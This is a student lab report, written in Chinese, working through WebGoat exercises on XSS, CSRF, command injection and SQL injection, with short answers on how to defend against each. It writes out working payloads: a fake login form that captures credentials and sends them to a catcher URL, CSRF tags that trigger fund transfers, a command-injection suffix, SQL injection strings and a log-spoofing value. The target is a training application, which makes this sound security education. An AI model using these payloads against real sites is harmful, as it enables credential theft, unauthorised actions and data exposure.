2018-2019-2 网络对抗技术 20165235 Exp 9 Web安全基础
实验任务
本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。Webgoat实践下相关实验。
基础问题回答
- (1)SQL注入攻击原理,如何防御
- 1.对漏洞注入点相关代码进行处理,筛除特殊字符,以规范代码安全性;2.关闭或删除不必要的交互式提交表单页面;3.普通用户与系统管理员用户的权限要有严格的区分;4.不要在服务器端放置备份的文件以免受到感染,或备份的文件含有漏洞,造成切入点。
- (2)XSS攻击的原理,如何防御
- 1.特征匹配方式,在所有提交的信息中都进行匹配检查,一般会对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击。2.对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。3.实现Session标记、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行
- (3)CSRF攻击原理,如何防御
- 1.尽量不要在页面的链接中暴露用户隐私信息,对于用户修改删除等操作最好都使用post操作。2.通过referer、token或者验证码来检测用户提交。3.避免全站通用的cookie,严格设置cookie的域。
实验过程
WebGoat准备
- 下载webgoat-container-7.0.1-war-exec.jar文件。在该文件目录下使用命令java -jar webgoat-container-7.0.1-war-exec.jar运行Webgoat。
- 在浏览器中输入http://localhost:8080/WebGoat进入WebGoat登录界面,直接用默认用户名密码guest登录即可
XSS攻击
Phishing with XSS
- 在webgoat找到Cross-Site Scripting (xss)攻击打开第一个——Phishing with XSS。将下面这段代码输入到Search:输入框中,点击search
<head> <body> <div> <div style="float:left;height:100px;width:50%;background-color:yellow;"></div> <div style="float:left;height:100px;width:50%;background-color:orange;"></div> </div> <div style="background-color:grey;height:200px;clear:both;"></div> </div></div> </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.ï¼ÂÂï¼ÂÂï¼ÂÂï¼ÂÂï¼ÂÂï¼ Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
- 结果会出现代码中所指定的黄、橙、灰三块
- 在登录框中输入用户名20165235,密码20165235,点击登录后,显示被窃取的用户名和密码。
Stored XSS Attacks
- 打开Cross-Site Scripting (xss)攻击中的第二个:Stored XSS Attacks。在Message框中输入代码,Title为20165235test,并点击submit。
<head> <body> <div> <div style="float:left;height:100px;width:50%;background-color:yellow;"></div> <div style="float:left;height:100px;width:50%;background-color:orange;"></div> </div> <div style="background-color:grey;height:200px;clear:both;"></div> </div></div> </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.ï¼ÂÂï¼ÂÂï¼ÂÂï¼ÂÂï¼ÂÂï¼ Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
- 提交后,点击下方新增的链接
- 注入成功,messege部分显示的是三色框,在下方输入用户名20165235,密码20165235,点击提交后,成功获取用户名和密码。
Reflected XSS Attacks
开xss的第三个攻击Reflected XSS Attacks在“Enter your three digit access code:”中输入`<script>alert("20165235test");</script>`
CSRF攻击
- 打开Cross-Site Scripting (xss)攻击中的第四个:Cross Site Request Forgery(CSRF)。查看页面Parameters中的src和menu值,分别为314和900.在message框中输入
<img src="http://localhost:8080/WebGoat/attack?Screen=314&menu=900&transferFunds=5000" width="1" height="1" />
点击Submit提交。 - 在下面中生成以Title命名的消息20165235test。点击该链接,当前页面就会下载这个消息并显示出来,从而达到CSRF攻击的目的。
CSRF Prompt By-Pass
- 打开Cross-Site Scripting (xss)攻击中的第五个:CSRF Prompt By-Pass同攻击4,查看页面Parameters中的src和menu值,分别为327和900.
- message框中输入代码
<iframe src="attack?Screen=327&menu=900&transferFunds=6000"> </iframe>
<iframe src="attack?Screen=327&menu=900&transferFunds=CONFIRM"> </iframe>
- 在Message List中生成链接"20165235test"。点击链接,攻击成功:
SQL注入攻击
Command Injection 命令注入
- 选择Injection Flaws中的第一项Command Injection,然后右键点击页面,选择inspect Element审查网页元素对源代码进行修改,在复选框中任意一栏的代码后添加"& netstat -an & ipconfig"。
- 点击view,能看到网络端口使用情况和 IP 地址,攻击成功。
Numeric SQL Injection
- 选择Injection Flaws中的第二项Numeric SQL Injection,右键点击页面,选择inspect Element审查网页元素对源代码进行修改,在选中的城市编号Value值中添加
or 1=1
。
- 攻击成功,显示所有城市的天气情况
String SQL Injection 字符串型注入
- 选择Injection Flaws中的第四项String SQL Injection,输入查询的用户名
' or '1'='1
,'1'='1'
是永真式,所有的用户信息将会被输出
Log Spoofing
- 在文本框中输入用户名
qiying%0d%0aLogin Succeeded for username: admin
LAB:SQL Injection
- 选择Injection Flaws中的第五项LAB:SQL Injection,右键点击页面,选择inspect Element审查网页元素对源代码进行修改,将密码最大长度maxlength改为100
- 在密码框输入' or 1=1 --,成功登陆,攻击成功。
实践总结与体会
这次实验主要是利用WebGoat工具,进行SQL注入攻击、XSS攻击、CSRF攻击。攻击原理主要是利用一些语句漏洞,通过修改这些语句进行攻击。实验使我对SQL语句等相关知识有了进一步的理解,对网络攻防的内容也有一些兴趣,虽然很多方面做的还是有所不足,但是仍然收获颇丰
2018-2019-2 网络对抗技术 20165235 Exp 9 Web安全基础的更多相关文章
- 2018-2019-2 网络对抗技术 20165318 Exp 9 Web安全基础
2018-2019-2 网络对抗技术 20165318 Exp 9 Web安全基础 基础问题回答 实践过程记录 WebGoat安装 SQL注入攻击 1.命令注入(Command Injection) ...
- 2018-2019-2 网络对抗技术 20165311 Exp 9 Web安全基础
2018-2019-2 网络对抗技术 20165311 Exp 9 Web安全基础 基础问题回答 实践过程记录 WebGoat安装 SQL注入攻击 1.命令注入(Command Injection) ...
- 2018-2019-2 网络对抗技术 20165232 Exp 9 Web安全基础
2018-2019-2 网络对抗技术 20165232 Exp 9 Web安全基础 实验任务 本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分.包括(SQL,XSS,CSRF) ...
- 2018-2019-2 网络对抗技术 20165220 Exp 9 Web安全基础
2018-2019-2 网络对抗技术 20165220 Exp 9 Web安全基础 实验任务 本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分.包括(SQL,XSS,CSRF) ...
- 2018-2019-2 网络对抗技术 20165206 Exp 9 Web安全基础
- 2018-2019-2 网络对抗技术 20165206 Exp 9 Web安全基础 - 实验任务 本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分.包括(SQL,XSS,C ...
- 20165223《网络对抗技术》Exp 9 Web安全基础
目录 -- Web安全基础 ★ 实验说明 实验目标 基础问答 实验准备 ★ 实验内容 SQL注入攻击 1. 命令注入(Command Injection) 2. 数字型注入(Numeric SQL I ...
- 2018-2019-2 20165313 《网络对抗技术》 Exp 9 Web安全基础
一.实验要求 本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分.包括(SQL,XSS,CSRF).Webgoat实践下相关实验. 二.实验问题回答 (1)SQL注入攻击原理,如 ...
- 2018-2019-2 网络对抗技术 20165318 Exp 8 Web基础
2018-2019-2 网络对抗技术 20165318 Exp 8 Web基础 原理与实践说明 实践内容概述 基础问题回答 实践过程记录 1.Web前端:HTML 2.Web前端:javascipt ...
- 2018-2019-2 20165315《网络对抗技术》Exp 8 Web基础
2018-2019-2 20165315<网络对抗技术>Exp 8 Web基础 一.实验内容 Web前端HTML 能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST ...
随机推荐
- node(koa2)跨域与获取cookie
欲做一个node 的网关服务,通过 cookie 做信息传递,选择框架 koa2,这里简单记录跨域处理以及 cookie 获取. 首先:解决跨域问题,使用 koa2-cros 来处理,跨域问题后端处理 ...
- 表格强制换行 table-layout:fixed
如果想要一个table固定大小,里面的文字强制换行(尤其是在一长串英文文本,并且中间无空格分隔的情况下),以达到使过长的文字不撑破表格的目的,一般是使用样式:table-layout:fixed.
- 常用的一些js校验
参考:https://blog.csdn.net/xxjmlgb/article/details/49467717 var valNull;//非空校验 var valSpecial;//特殊字符校验 ...
- Vue+ElementUI学习总结(转载)
Vue框架简介 Vue是一套构建用户界面的框架, 开发只需要关注视图层, 它不仅易于上手,还便于与第三方库或既有项目的整合.是基于MVVM(Model-View-ViewModel)设计思想.提供MV ...
- git 查看对比的方法log diff
git shortlog 默认情况下,git shortlog 把输出按作者名字排序,但你可以传入 -n 选项来按每个作者提交数量排序. 1.有冲突时可以用 git status查看 2.通过git ...
- 新霸哥带你轻松玩转Oracle数据库
接触过软件开发的朋友可能都会知道oracle,在开发的过程中,数据存储都可能会用到oracle的,因为oracle具有处理速度快,安全级别特别的高.但是有一个缺点就是比较的贵,只有一个大型的公司才有可 ...
- 文件I/O编程 (select)
Select的I/O多路转接模型是处理I/O复用的一个高效方法.Select函数语法要点所需头文件: #include<sys/types.h> #include<sys/time. ...
- ui自动化之selenium操作(二)定位元素-简单操作
1. 将浏览器最大化 这里拿chrome举例,但是我在执行的时候一直报错,被坑了好久; 解决办法: 这是因为chromedriver是和chrome一一对应的,不兼容的版本就会报错: 所有chrome ...
- boost多线程编译出错
添加 -lpthread CPLUS_INCLUDE_PATH=$CPLUS_INCLUDE_PATH:/tools/boost/includeexport CPLUS_INCLUDE_PATH LI ...
- DECLARE_GLOBAL_DATA_PTR
DECLARE_GLOBAL_DATA_PTR在arch/arm/include/asm/global_data.h中定义 #include <asm-generic/global_data.h ...